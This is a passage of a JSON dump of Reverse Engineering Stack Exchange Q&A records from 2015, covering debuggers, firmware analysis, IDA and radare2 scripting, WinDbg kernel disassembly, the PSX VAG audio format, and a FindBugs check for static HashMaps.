        "Answer": "<blockquote>\n  <p>Particularly, is there a way to run a program (exe) and in parallel\n  follow the steps in the dissasembly (ideally slowed down..)?</p>\n</blockquote>\n\n<p>Yes, the type of tool you're describing is called a \"debugger\".</p>\n\n<p>Some popular debuggers for Windows are:</p>\n\n<ul>\n<li><a href=\"http://www.ollydbg.de/version2.html\" rel=\"nofollow\">OllyDbg</a></li>\n<li><a href=\"https://www.hex-rays.com/products/ida/index.shtml\" rel=\"nofollow\">IDA Pro</a>'s debugger</li>\n<li><a href=\"http://x64dbg.com/\" rel=\"nofollow\">x64dbg</a></li>\n</ul>\n\n<p>There are <a href=\"http://www.woodmann.com/collaborative/tools/index.php/Category:Debuggers\" rel=\"nofollow\">plenty of others</a>, but these are some of the most user-friendly.</p>\n"
    },
    {
        "Id": "11129",
        "CreationDate": "2015-10-17T16:19:42.960",
        "Body": "<p>This is a very interesting challenge in which you need to reverse a firmware without knowing anything about the firmware format, or the architecture. It is highly likely that the architecture is something special, without any documentation at all (think about some military chips, for example).</p>\n\n<p><a href=\"http://queue.acm.org/unprogramming.cfm\" rel=\"nofollow\">http://queue.acm.org/unprogramming.cfm</a></p>\n\n<p>I am looking at this, but stuck on what is the approach to this problem. Any ideas? </p>\n",
        "Title": "Reverse unknown undocumented architecture - a tough challenge",
        "Tags": "|disassembly|firmware|",
        "Answer": "<p>I recently started reverse engineering a firmware from a device for which I had not documentation other than the interfaces to it. The presentation provided in the previous answer is very helpful. I thought I would complement it with some of my experience from my current project.</p>\n\n<h3>Strings</h3>\n\n<p>My first step in any RE project is to extract the strings - both ASCII and Unicode. Sometimes, <code>strings</code> or IDA may not find everything, you may need to conduct a review of the hex code as some programs may have some uncommon encoding mechanism. While the presence of string may not provide you much in some cases, the absence of any string is a strong indication of compression or encryption. In my case, I was able to retrieve copyright notices containing information about some internal programs, along with a copyright notice for the real-time operating system included. Most helpful.</p>\n\n<p>Be careful with <code>binwalk</code>, which will often provide false positive for uncommon firmware. Don't rely on its output.</p>\n\n<h3>Structure</h3>\n\n<p>Many firmware will have a similar structure, i.e. some initialization, maybe an interrupt vector with a RESET interrupt at the beginning, then eventually jump to a bootstrapping section, which will load further components into memory. I found the <a href=\"http://sourceforge.net/projects/bin2bmp/files/bin2bmp/0.1.6/\" rel=\"nofollow\">bin2bmp</a> tool useful to provide an overview of the contents. Note: if you use this tool in Windows, you will need the <a href=\"http://www.pythonware.com/products/pil/\" rel=\"nofollow\">Python Imaging Library</a></p>\n\n<p>Additionally, each program within the firmware will have sections for code and data at least. The code section will be much larger than the data section, and from my experience, precedes the data section. Combined with the <code>bin2bmp</code> tool, you can start identifying code sections. Additional sections for heap, static variables and exception handling may be added.</p>\n\n<h3>Functions</h3>\n\n<p>Most developers will use C/C++ as their language, sometimes Assembly. When C/C++ is used, you can safely assume some instructions to occur fairly often. The presentation from Recon mention the <code>RET</code> instruction, which I found true. Furthermore, the function epilogs and prologs are often similar across the entire firmware. If you can have some statistics about the count of the instructions, you may be able to identify a particular byte/word/dword to the <code>RET</code> instruction. Afterwards, observe the 2-3 previous bytes/words and verify if they reoccur together across the code section, indicating you may have found the epilog of functions. You can use IDA in plain binary mode to search byte strings easily. Prologs of functions will often consist of a <code>POP</code> instruction to store the returning address or load arguments. The epilog usually contains a <code>PUSH</code> instruction prior to the <code>RET</code>. You can then attempt to locate online for instruction sets which have a <code>POP</code>/<code>PUSH</code> instruction corresponding to the byte/words you have identified. Consider endianness when analyzing the binary.</p>\n\n<h3>Other resources:</h3>\n\n<p>I'm including these documents I found useful on my project, which may help you as well:</p>\n\n<ul>\n<li><a href=\"https://media.blackhat.com/us-13/US-13-Zaddach-Workshop-on-Embedded-Devices-Security-and-Firmware-Reverse-Engineering-Slides.pdf\" rel=\"nofollow\">Embedded Devices Security Firmware Reverse Engineering</a></li>\n<li><a href=\"https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-costin.pdf\" rel=\"nofollow\">A Large-Scale Analysis of the Security of Embedded Firmwares</a></li>\n</ul>\n\n<p>I'll be monitoring that question, as I'm eager to see what else can be done to understand firmwares with uncommon architectures.</p>\n"
    },
    {
        "Id": "11142",
        "CreationDate": "2015-10-20T10:29:27.817",
        "Body": "<p>I have been playing around, searching for  Strings</p>\n\n<pre><code>  \"Please wait!!!\"\n   \"Done!!\"\n</code></pre>\n\n<p>Then I didn't find them in a Debugger so somebody suggested BinText can do the job, so I found this</p>\n\n<pre><code> File pos Mem pos ID Text \n ======== ======= == ==== \n 0000000922E8 000000492EE8 0 Caption \n 00000009230A 000000492F0A 0 Checked \n 00000009232C 000000492F2C 0 SubMenuImages \n 000000092354 000000492F54 0 Default \n 000000092376 000000492F76 0 Enabled \n 000000092402 000000493002 0 ImageIndex \n 000000092426 000000493026 0 RadioItem \n 00000009244B 00000049304B 0 ShortCut \n 00000009246E 00000049306E 0 Visible \n  000000092490 000000493090 0 OnClick \n</code></pre>\n\n<p>Here follows the troublesome strings</p>\n\n<pre><code>  0000000ED716 0000004EE316 0 EJPEG \n  0000000EEB97 0000004EF797 0 ;w8tF \n  0000000EFE33 0000004F0A33 0 C(D   O \n  0000000EFFA4 0000004F0BA4 0 T;{$| \n  0000000F002C 0000004F0C2C 0 T;{$| \n  0000000F004F 0000004F0C4F 0 ;K$|  \n  0000000F0995 0000004F1595 0 ;K4w/ \n  0000000F09CF 0000004F15CF 0 ;K4w, \n  0000000F0A05 0000004F1605 0 ;K4w, \n  0000000F0A9D 0000004F169D 0 T;{$| \n  0000000F0AE4 0000004F16E4 0 T;{$| \n  0000000F1A11 0000004F2611 0 D$$PU \n  0000000F1D3B 0000004F293B 0 A;K$| \n  0000000F3377 0000004F3F77 0 0;C$| \n  0000000F3426 0000004F4026 0 K,;K(u \n  0000000F36DA 0000004F42DA 0 T$$;L$ \n  0000000F372D 0000004F432D 0 Jx;L$ \n  0000000F39C4 0000004F45C4 0 $;Zx| \n  0000000F3F52 0000004F4B52 0 t&amp;ItZ \n  0000000F41E7 0000004F4DE7 0 D$$;T$ \n  0000000F41FB 0000004F4DFB 0 L$ ;\\$ \n  0000000F4265 0000004F4E65 0 L$,;T$ \n  0000000F4279 0000004F4E79 0 L$(;\\$ \n  0000000F42EE 0000004F4EEE 0 L$0;T$ \n  0000000F4363 0000004F4F63 0 L$4;T$ \n  0000000F43D2 0000004F4FD2 0 L$8;T$ \n  0000000F4441 0000004F5041 0 L$&lt;;T$ \n  0000000F44E4 0000004F50E4 0 D$D;T$ \n  0000000F44F8 0000004F50F8 0 L$@;\\$ \n  0000000F46C7 0000004F52C7 0 D$,;L$ \n  0000000F46DF 0000004F52DF 0 T$(;\\$ \n  0000000F4740 0000004F5340 0 l$$B; \n  0000000F5466 0000004F6066 0 T;s$| \n  0000000F55A8 0000004F61A8 0 P$;T$ \n  0000000F56A4 0000004F62A4 0 P$;T$ \n  0000000F5767 0000004F6367 0 P$;T$ \n  0000000F58A3 0000004F64A3 0 rMtsJ \n  0000000F58D4 0000004F64D4 0 C4;CH \n  0000000F5940 0000004F6540 0 C4;CHr3\n</code></pre>\n\n<p>Are these real strings or they broken encrypted or something?\nHow can I achieve this?</p>\n",
        "Title": "How to view strings in an executable?",
        "Tags": "|patch-reversing|",
        "Answer": "<p>I recall <a href=\"https://www.virustotal.com\" rel=\"nofollow noreferrer\">Virustotal</a> shows you all strings in a sample you upload.</p>\n"
    },
    {
        "Id": "11154",
        "CreationDate": "2015-10-21T20:29:56.033",
        "Body": "<p>I've been reading a book about reverse engineering assembly code, and although it is very informative, It has questions such as decompile KeReadyThread- Im pretty good at assembly, and want to give it a shot, but how exactly do i view the assembly code of this kernel or any others? thanks</p>\n",
        "Title": "How do I view a kernel routine in Windows",
        "Tags": "|assembly|",
        "Answer": "<p>If you have windbg installed you can use the Local kernel Debugging<br>\nFacility to view the Disassembly of any kernel Routine.\nIn OS > WinXP you may need to enable <code>/debug</code> in <code>bcdsettings</code> (boot configuration).</p>\n\n<p><strong><code>C:\\&gt;kd -kl -c \"uf nt!KeReadyThread;q\" | grep -i -A 20 ke.*</code>:</strong></p>\n\n<pre><code>nt!KeReadyThread:\n804fb7de 8bff            mov     edi,edi\n804fb7e0 55              push    ebp\n804fb7e1 8bec            mov     ebp,esp\n804fb7e3 53              push    ebx\n804fb7e4 ff1514774d80    call    dword ptr [nt!_imp__KeRaiseIrqlToDpcLevel (804d\n7714)]\n804fb7ea 8b4d08          mov     ecx,dword ptr [ebp+8]\n804fb7ed 8ad8            mov     bl,al\n804fb7ef e82e510000      call    nt!KiReadyThread (80500922)\n804fb7f4 8acb            mov     cl,bl\n804fb7f6 e86d5f0400      call    nt!KiUnlockDispatcherDatabase (80541768)\n804fb7fb 5b              pop     ebx\n804fb7fc 5d              pop     ebp\n804fb7fd c20400          ret     4\nquit:\n</code></pre>\n"
    },
    {
        "Id": "11160",
        "CreationDate": "2015-10-23T14:37:22.387",
        "Body": "<p>I am reverse engineering the VAG format, which is a sound file format for the PSX (PlayStation 1). In the format, audio markers indicating audio looping points are encoded in the stream itself by a <em>block attribute</em>.</p>\n\n<p>Definition of possible attributes from a header found on the official SDK:</p>\n\n<pre><code>/* block_attribute */\n#define ENC_VAG_1_SHOT      0\n#define ENC_VAG_1_SHOT_END  1\n#define ENC_VAG_LOOP_START  2\n#define ENC_VAG_LOOP_BODY   3\n#define ENC_VAG_LOOP_END    4\n</code></pre>\n\n<p><strong>Here is an excerpt of what flags/numbers are found when printing their content:</strong></p>\n\n<p><em>For a 1 shot (no looping) sample:</em>\n00<strong>4</strong>00000000000000000000000000000000000000000000000000000000000000000000<strong>1</strong></p>\n\n<p><em>For a looping sample:</em>\n02<strong>6</strong>22222222222222222222222222222222222222222222222222222222222222222222<strong>3</strong></p>\n\n<p>As you can see, in both examples it is pretty easy to visually spot where are start/stop flags, whether for a 1 shot sample or a looping sample (confirmed by listening to the resulting WAV file).</p>\n\n<p>However, looking at their 'official' definition, the values by themselves are not what they should be. Basically, on a 1-shot sample there should be only 1-shot-related values, and for loops only loop-related values (again, confirmed by an encoder sample application found in the SDK).</p>\n\n<p><strong>Could there be some trick/considerations involved when one should interpret these flags ?</strong></p>\n",
        "Title": "Should these numbers be interpreted as flags or not, or something else?",
        "Tags": "|file-format|decompress|",
        "Answer": "<p>Something seems a bit weird here; i'd have expected the loop to look something like 233333334, not 62222223. And i'm missing a loop count, how would you encode a start that's played twice, mid-section that doesn't get repeated, and an end section that repeats forever, or until the end of the level?</p>\n\n<p>But that doesn't neccesarily mean some trick were <em>intentionally</em> involved. I'd assume Sony wrote the specs, published them to game creators, then implemented these specs in a certain way. The implementation probably doesn't check for violations of these specs, it just handles them in some way.</p>\n\n<p>Enter some software vendor who does a cross-platform game. They have their own music format, need to port it to the PSX, and write a converter. To test the converter, they convert some samples and listen to them, iterating until they sound right. After that, the converter might have gotten modified and enhanced several time, which introduced some bugs, but since the samples seem to work correctly, noone ever looks at the bytes anymore. Which means at some point they started violating the spec, but since the implementation doesn't choke at this, nobody knows about this.</p>\n\n<p>20 years later, you're the first one to ever notice.</p>\n\n<p>So yes, there could be some considerations involved how to interpret the flags, and maybe nobody ever knew what these considerations are. Best you could do is get some games from a different vendor, and look at how they encode music. This may give you an idea if you're just misinterpreting something or if your first sample actually don't match the spec. And if it does, and you want to handle this, you'll probably have to reverse the actual implementation in the PSP firmware to find out how to handle these edge cases.</p>\n"
    },
    {
        "Id": "11164",
        "CreationDate": "2015-10-23T23:21:07.523",
        "Body": "<p>I wanted to know if it is possible to print out the assembly code which I analyze in ollydbg. I mean to have all of that on a paper. Sometimes I do not have access to my laptop. In such cases I would take the paper version and analyze it. Is that possible ? Is there a plugin or something like that available ?</p>\n\n<p>best regards, </p>\n",
        "Title": "Is it possible to print out the assembly code in ollydbg",
        "Tags": "|assembly|ollydbg|",
        "Answer": "<p>if copying the display from cpu window is what you want to achieve<br>\n<strong>ollydbg 1.10</strong>     </p>\n\n<p>if you want the dis assembly of main module say notepad.exe make the module visible in cpu pane (<code>alt+m follow or alt+ e -&gt; view code in cpu</code>)     </p>\n\n<pre><code>in the cpu pane right click -&gt; copy &gt; select all -&gt; right click -&gt; to file \n</code></pre>\n\n<p><strong>odbg 201</strong>    </p>\n\n<pre><code>rightclick -&gt; select module -&gt; right click -&gt; edit select all -&gt; right click -&gt; copy as table \n</code></pre>\n\n<p>open say notepad and paste it and save it as my disassembled_exe .txt</p>\n\n<pre><code>&gt;head -n 6 \"copyofcpu.txt\" | awk \"{ print  $1,$2}\"\n01001000 &lt;&amp;ADVAPI32.RegQueryValueExW&gt;\n01001004 &lt;&amp;ADVAPI32.RegCloseKey&gt;\n01001008 &lt;&amp;ADVAPI32.RegCreateKeyW&gt;\n0100100C &lt;&amp;ADVAPI32.IsTextUnicode&gt;\n01001010 &lt;&amp;ADVAPI32.RegQueryValueExA&gt;\n01001014 &lt;&amp;ADVAPI32.RegOpenKeyExA&gt;\n\n&gt;head -n 6 \"New Text Document.txt\" | awk\"{print $1,$2}\"\nCPU Disasm\nAddress Hex\n01001000 &amp;ADVAPI32.RegOpenKeyExA\n01001004 &amp;ADVAPI32.RegQueryValueExA\n01001008 &amp;ADVAPI32.RegCloseKey\n0100100C \u2302ADVAPI32_NULL_THUNK_DATA\n</code></pre>\n"
    },
    {
        "Id": "11165",
        "CreationDate": "2015-10-24T00:28:50.710",
        "Body": "<p>I need to debug an old (1999) full screen application. When I window the application and attach olly the program crashes.</p>\n\n<p>I have heard of remote debugging. Would running the program on a VM and then attaching windbg to the application on the remote machine do the trick?</p>\n",
        "Title": "how do I debug full screen applications",
        "Tags": "|ollydbg|virtual-machines|remote|",
        "Answer": "<p>I usually do one of the following when dealing with full screen software:</p>\n\n<ol>\n<li>As blabb said setting up a remote debugger is an option, although I usually find it a bit slow and annoying to use and set up. </li>\n<li>Occasionally there's a configuration option to switch to windowed mode. Its not always there but when it is its the best choice. </li>\n<li>Since you are already debugging and reversing it, you can always hook it's fullscreen request API (usually <code>ChangeDisplaySettings</code> or <code>ChangeDisplaySettingsEx</code> on Windows).</li>\n<li>If you can't hook or find the fullscreen API (if the software has anti-debugging it might be kind of a chicken and egg problem), you can always call <code>ChangeDisplaySettings</code> yourself and disable fullscreen mode after getting a window handle for the program's fullscreen window. </li>\n<li>Or you could simply use one of many existing tools for exactly that, they're covered in this SO question: <a href=\"https://superuser.com/questions/318748/force-fullscreen-games-to-in-window-mode\">https://superuser.com/questions/318748/force-fullscreen-games-to-in-window-mode</a></li>\n</ol>\n\n<p>Hope that helps :)</p>\n"
    },
    {
        "Id": "11180",
        "CreationDate": "2015-10-27T07:53:14.633",
        "Body": "<p>I'm working on reverse a binary from a MIPS based router. In order to do it I'm emulating the binary with qemu, but the binary executes some routines before stating with the logic that skips the execution if it's not loaded on the router.</p>\n\n<p>I confirmed that if I skip the execution of those routines by editing some bytes I can run the binary locally and dynamically debug it. For now I'm doing it manually but I want to patch it so I can run it faster.</p>\n\n<p>My problem comes once I change some bytes and try to export it in IDA I tried the idc script to write the changes, also ida_patcher with a DIF file and the built in function to export the changes (Edit>Patch Program...) but the changes are not applied to the binary and I can't generate a new one.</p>\n\n<p>I was thinking in edit the binary with an hex editor but I was wondering if I can do it with IDA.</p>\n",
        "Title": "Patching MIPS binary file on IDA fails at build",
        "Tags": "|ida|firmware|mips|patching|",
        "Answer": "<p>You can always try and do away with IDAPython:</p>\n\n<pre><code>import idaapi\nimport idc\n\nPATH_TO_COPY_OF_ORIGINAL_FILE = 'some-path'\n\ndef apply_patches_to_file(target_file):\n    def patch_visitor(ea, fpos, org_val, patch_val):\n        target_file.seek(fpos)\n        target_file.write(chr(patch_val))\n\n    idaapi.visit_patched_bytes(idc.MinEA(), idc.MaxEA(), patch_visitor)\n\nwith open(PATH_TO_COPY_OF_ORIGINAL_FILE, 'r+') as f:\n    apply_patches_to_file(f)\n</code></pre>\n\n<p>Just create a copy of your original file, set the <code>PATH_TO_COPY_OF_ORIGINAL_FILE</code>, and give the script a go. It iterates all patches made to the IDB and try to apply them to the file.</p>\n\n<p>That said, not knowing the cause of your issues - this script may fail as well.</p>\n"
    },
    {
        "Id": "11181",
        "CreationDate": "2015-10-27T11:28:39.980",
        "Body": "<p>So i'm trying to add a custom toolbar to IDA 6.4 using their PySide download and the IDAAPI.  I've tried adding a toolbar by just creating one but since it doesn't have an exec_() method I can't get it on the screen and it looks like I need to be loading it into a window with something like</p>\n\n<pre><code>self.toolbar = self.addToolBar('var')\n</code></pre>\n\n<p>though in this case the \"self\" is a window which makes me think I need a reference to IDA's main window.  Anyone know how i can get that reference?</p>\n",
        "Title": "Adding a toolbar to IDA using PySide",
        "Tags": "|ida|idapython|ida-plugin|python|",
        "Answer": "\n\n<p><strong>New IDA 6.95 API</strong></p>\n\n<p>Perhaps because they saw this question, maybe because of user requests, version 6.95 was released with two IDAPython API functions for creating a menu and a toolbar: <code>create_menu</code> and <code>create_toolbar</code> so now these can be done trivially.</p>\n\n<p><strong>Old trick - Before 6.95</strong></p>\n\n<p>A hack I've been using is finding the application's main window manually and then adding a toolbar directly using QT. IDA only has one main window.</p>\n\n<p>Adding a toolbar that way makes in completely recognizable by IDA as far as I can tell. You can tick it on and off, you can dock and un-dock it, changing to advanced mode automatically shows it as well. However, IDA won't let you add actions to it in IDA 6.7 and above (as described at <a href=\"http://hexblog.com/?p=886\" rel=\"nofollow noreferrer\">hexblog.com/?p=886</a>)</p>\n\n<p>A sample code can look something like that:</p>\n\n<pre><code> for widget in QtGui.qApp.topLevelWidgets():\n     if type(widget) == QtGui.QMainWindow:\n         mainWindow = widget\n         toolbar = mainWindow.addToolBar(\"My toolbar\")\n\n         # and now for adding stuff to our toolbar\n         toolbar.addSeparator()\n         toolbar.addWidget(...)\n</code></pre>\n\n<p><strong>Disclaimer:</strong> Keep in mind finding the main window this way if risky, undocumented and might not always work. IDA might not like that you're changing stuff underneath it. I do use it and it is working, but YMMV and UAYOR.</p>\n\n<p>Two additional tips for making this hack functional:</p>\n\n<ol>\n<li>Since IDA's main window is not always visible when plugins are loaded, you \nmight want to set a QTimer on finding the main window.</li>\n<li>Because its undocumented, i use more ways to find the main window. Using <code>qApp.activeWindow()</code> and/or <code>qApp.focusWidget()</code> and iterating over their <code>.parent()</code>s are good additional choices.</li>\n</ol>\n\n<p><strong>EDIT:</strong></p>\n\n<p>Here's a more complete example of how to hack a toolbar and a menu in from an IDA plugin, handling different loading modes and retying in case the IDA application is not fully set-up yet:</p>\n\n<pre><code>  def init(self):\n    self.setup()\n\n    return idaapi.PLUGIN_KEEP\n\n  def setup(self):\n    if not self.get_mainwindow():\n      self.delay_setup()\n      return\n\n    # Add a toolbar like OP requested\n    self.toolbar = self.get_mainwindow().addToolBar(\"My toolbar\")\n    self.toolbar.setIconSize(QtCore.QSize(16, 16))\n\n    # Bonus: add a menue\n    self.menu = QtGui.QMenu(\"My menu\")\n    self.get_mainwindow().menuWidget().addMenu(self.menu)\n\n  def delay_setup(self):\n    QtCore.QTimer.singleShot(1000, self.setup)\n\n  def get_mainwindow(self):\n    if self.mainwindow:\n      return self.mainwindow\n\n    app = QtGui.qApp\n    widgets = [app.focusWidget(), app.activeWindow()] + app.topLevelWidgets()\n    mainwidgets = filter(None, map(self.search_mainwindow, widgets))\n\n    if mainwidgets:\n      self.mainwindow = mainwidgets[0]\n\n    return self.mainwindow\n\n  def search_mainwindow(self, widget):\n    while widget != None:\n      if isinstance(widget, QtGui.QMainWindow):\n        return widget\n      widget = widget.parent()\n    return None\n</code></pre>\n"
    },
    {
        "Id": "11182",
        "CreationDate": "2015-10-27T11:30:24.583",
        "Body": "<pre><code>[0x00402079]&gt; / valid\nSearching 5 bytes from 0x00401000 to 0x0040561e: 76 61 6c 69 64\n# 3 [0x401000-0x40561e]\nhits: 5\n0x00401695 hit6_0 \"valid\"\n0x00401fca hit6_1 \"valid\"\n0x00402095 hit6_2 \"valid\"\n0x004029ca hit6_3 \"valid\"\n0x004037ca hit6_4 \"valid\"\n\n[0x00402079]&gt; / valid~[0]\nSearching 5 bytes from 0x00401000 to 0x0040561e: 76 61 6c 69 64\n# 3 [0x401000-0x40561e]\nhits: 5\n0x00401695\n0x00401fca\n0x00402095\n0x004029ca\n0x004037ca\n\n[0x008040f2]&gt; ? {/ valid~[0]}\nRNum ERROR: Division by Zero\n0\n\n[0x008040f2]&gt; ? 0x00401695\n4200085 0x401695 020013225 4M 40000:0695 4200085 10010101 0.0 0.000000f 0.000000\n</code></pre>\n\n<p>How can i Disassemble OR work with the output of one search ? </p>\n\n<p>I agree other methods to automated job with search results, \nThanks. </p>\n",
        "Title": "Disassembling output of searches radare2",
        "Tags": "|radare2|",
        "Answer": "<pre><code>[0x01012475]&gt; / calc\nSearching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63\n# 3 [0x1001000-0x101e960]\nhits: 3\n0x0100161c hit1_0 \"calc\"\n0x01015079 hit1_1 \"\\\\u00ff\\\\u00ff\\\\u00ff\\\\u00ff\"\n0x01016679 hit1_2 \"calc\"\n[0x01012475]&gt; pdi 4 @ hit1_0\n0x0100161c    hit1_0:\n0x0100161c           63616c  arpl word [ecx + 0x6c], sp\n0x0100161f             632e  arpl word [esi], bp\n0x01001621             7064  jo 0x1001687\n0x01001623             6200  bound eax, qword [eax]\n[0x01012475]&gt; pdi 4 @ hit1_1\n0x01015079    hit1_1:\n0x01015079               ff  invalid\n0x0101507a               ff  invalid\n0x0101507b               ff  invalid\n0x0101507c               ff  invalid\n[0x01012475]&gt; pdi 4 @ hit1_2\n0x01016679    hit1_2:\n0x01016679           63616c  arpl word [ecx + 0x6c], sp\n0x0101667c             6322  arpl word [edx], sp\n0x0101667e       0d0a202020  or eax, 0x2020200a\n0x01016683           207072  and byte [eax + 0x72], dh\n[0x01012475]&gt;\n</code></pre>\n\n<p>or use regular expression</p>\n\n<pre><code>:&gt;radare2 c:\\WINDOWS\\system32\\calc.exe\n -- Nothing to see here. Move along.\n[0x01012475]&gt; / calc\nSearching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63\n# 3 [0x1001000-0x101e960]\nhits: 3\n0x0100161c hit0_0 \"calc\"\n0x01015079 hit0_1 \"\\\\u00ff\\\\u00ff\\\\u00ff\\\\u00ff\"\n0x01016679 hit0_2 \"calc\"\n[0x01012475]&gt; pdi 4 @@ hit*\n0x0100161c    hit0_0:\n0x0100161c           63616c  arpl word [ecx + 0x6c], sp\n0x0100161f             632e  arpl word [esi], bp\n0x01001621             7064  jo 0x1001687\n0x01001623             6200  bound eax, qword [eax]\n0x01015079    hit0_1:\n0x01015079               ff  invalid\n0x0101507a               ff  invalid\n0x0101507b               ff  invalid\n0x0101507c               ff  invalid\n0x01016679    hit0_2:\n0x01016679           63616c  arpl word [ecx + 0x6c], sp\n0x0101667c             6322  arpl word [edx], sp\n0x0101667e       0d0a202020  or eax, 0x2020200a\n0x01016683           207072  and byte [eax + 0x72], dh\n[0x01012475]&gt;\n</code></pre>\n\n<p>You could also use an iterator: <code>pid 4 @@ `/ ls`</code>.</p>\n\n<p>Thanks jvoisin for the edit </p>\n\n<pre><code>[0x01012475]&gt; px @@ `/ calc`\nSearching 4 bytes from 0x01001000 to 0x0101e960: 63 61 6c 63\n# 3 [0x1001000-0x101e960]\nhits: 2\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x0100161c  6361 6c63 2e70 6462 0000                 calc.pdb..\n- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF\n0x01016679  6361 6c63 220d 0a20 2020                 calc\"..\n[0x01012475]&gt;\n</code></pre>\n"
    },
    {
        "Id": "11184",
        "CreationDate": "2015-10-27T14:53:40.677",
        "Body": "<p>During the debugging I can see all the function's local variables in tab <strong>Locals</strong> (Debugger -> Debugger Windows -> Locals(HEXRAYS)). For example I have a struct variable </p>\n\n<pre><code>a1    0x891E1160:{pBuf=0x7FC52F20,size=0x100}\n</code></pre>\n\n<p>I would like to write a python script to dump such data into a file. The only thing I cannot understand is how to get value of local variable by it's name. It should be something like </p>\n\n<pre><code>fdump = open(filename, 'wb')\nptr = get_var('a1')['pBuf']\nsize = get_var('a1')['size']\nbuf = idc.GetManyBytes(ptr, size, True)\nfdump.write(buf)\nfdump.close()\n</code></pre>\n\n<p>Is there a function like <code>get_var</code> in idautils, idc, or idaapi?</p>\n",
        "Title": "IDA scripting - get local variable by its name",
        "Tags": "|ida|python|",
        "Answer": "<p>You can use the following function in order to get the local variable value by its name(IDA 7+):</p>\n\n<pre><code>import idc \nimport ida_frame \nimport ida_struct \n\ndef get_local_var_value_64(loc_var_name):\n    frame = ida_frame.get_frame(idc.here())\n    loc_var = ida_struct.get_member_by_name(frame, loc_var_name)\n    loc_var_ea = loc_var.soff + idc.GetRegValue(\"RSP\")\n    # In case the variable is 32bit, use get_wide_dword() instead:\n    loc_var_value = idc.read_dbg_qword(loc_var_ea) \n    return loc_var_value\n</code></pre>\n"
    },
    {
        "Id": "11186",
        "CreationDate": "2015-10-27T16:30:05.490",
        "Body": "<p>I'm trying to write a custom signature for a java tool called \"findbugs.\"  The specific example I'm looking to detect are instances where a static, non-concurrent hashmap is instantiated.  In a multi-threaded environment this causes bad things\u2122 to happen.  </p>\n\n<p>Here is my java source:</p>\n\n<pre><code>import java.util.HashMap;\nimport java.util.Map;\n\n\npublic class StaticInitializationOfHashMap {\n    private static Map&lt;String,String&gt; hashMap;\n\n    private static void init() throws Exception {\n        hashMap = new HashMap&lt;String,String&gt;();\n        for(int x = 0; x &lt; 1000; x++) {\n            hashMap.put(\"Key_\" + x, \"Value_\" + x);\n        }\n    }\n\n    public static void main(String[] args) throws Exception {\n        init();\n        for(int i = 0; i &lt; hashMap.size(); ++i) {\n            System.out.println(hashMap.get(\"Key_\" + i));\n        }\n    }\n}\n</code></pre>\n\n<p>Here is my javap -c -v output:</p>\n\n<pre><code>Classfile /c:/gitRepos/findbugs/findbugsTestCases/build/classes/StaticInitializationOfHashMap.class\n  Last modified Oct 27, 2015; size 1478 bytes\n  MD5 checksum d1b1e57f69d1b13f658ee996fc2bbd24\n  Compiled from \"StaticInitializationOfHashMap.java\"\npublic class StaticInitializationOfHashMap\n  SourceFile: \"StaticInitializationOfHashMap.java\"\n  minor version: 0\n  major version: 51\n  flags: ACC_PUBLIC, ACC_SUPER\n\nConstant pool:\n   #1 = Methodref          #20.#45        //  java/lang/Object.\"&lt;init&gt;\":()V\n   #2 = Class              #46            //  java/util/HashMap\n   #3 = Methodref          #2.#45         //  java/util/HashMap.\"&lt;init&gt;\":()V\n   #4 = Fieldref           #19.#47        //  StaticInitializationOfHashMap.hashMap:Ljava/util/Map;\n   #5 = Class              #48            //  java/lang/StringBuilder\n   #6 = Methodref          #5.#45         //  java/lang/StringBuilder.\"&lt;init&gt;\":()V\n   #7 = String             #49            //  Key_\n   #8 = Methodref          #5.#50         //  java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;\n   #9 = Methodref          #5.#51         //  java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;\n  #10 = Methodref          #5.#52         //  java/lang/StringBuilder.toString:()Ljava/lang/String;\n  #11 = String             #53            //  Value_\n  #12 = InterfaceMethodref #54.#55        //  java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n  #13 = Methodref          #19.#56        //  StaticInitializationOfHashMap.init:()V\n  #14 = InterfaceMethodref #54.#57        //  java/util/Map.size:()I\n  #15 = Fieldref           #58.#59        //  java/lang/System.out:Ljava/io/PrintStream;\n  #16 = InterfaceMethodref #54.#60        //  java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;\n  #17 = Class              #61            //  java/lang/String\n  #18 = Methodref          #62.#63        //  java/io/PrintStream.println:(Ljava/lang/String;)V\n  #19 = Class              #64            //  StaticInitializationOfHashMap\n  #20 = Class              #65            //  java/lang/Object\n  #21 = Utf8               hashMap\n  #22 = Utf8               Ljava/util/Map;\n  #23 = Utf8               Signature\n  #24 = Utf8               Ljava/util/Map&lt;Ljava/lang/String;Ljava/lang/String;&gt;;\n  #25 = Utf8               &lt;init&gt;\n  #26 = Utf8               ()V\n  #27 = Utf8               Code\n  #28 = Utf8               LineNumberTable\n  #29 = Utf8               LocalVariableTable\n  #30 = Utf8               this\n  #31 = Utf8               LStaticInitializationOfHashMap;\n  #32 = Utf8               init\n  #33 = Utf8               x\n  #34 = Utf8               I\n  #35 = Utf8               StackMapTable\n  #36 = Utf8               Exceptions\n  #37 = Class              #66            //  java/lang/Exception\n  #38 = Utf8               main\n  #39 = Utf8               ([Ljava/lang/String;)V\n  #40 = Utf8               i\n  #41 = Utf8               args\n  #42 = Utf8               [Ljava/lang/String;\n  #43 = Utf8               SourceFile\n  #44 = Utf8               StaticInitializationOfHashMap.java\n  #45 = NameAndType        #25:#26        //  \"&lt;init&gt;\":()V\n  #46 = Utf8               java/util/HashMap\n  #47 = NameAndType        #21:#22        //  hashMap:Ljava/util/Map;\n  #48 = Utf8               java/lang/StringBuilder\n  #49 = Utf8               Key_\n  #50 = NameAndType        #67:#68        //  append:(Ljava/lang/String;)Ljava/lang/StringBuilder;\n  #51 = NameAndType        #67:#69        //  append:(I)Ljava/lang/StringBuilder;\n  #52 = NameAndType        #70:#71        //  toString:()Ljava/lang/String;\n  #53 = Utf8               Value_\n  #54 = Class              #72            //  java/util/Map\n  #55 = NameAndType        #73:#74        //  put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n  #56 = NameAndType        #32:#26        //  init:()V\n  #57 = NameAndType        #75:#76        //  size:()I\n  #58 = Class              #77            //  java/lang/System\n  #59 = NameAndType        #78:#79        //  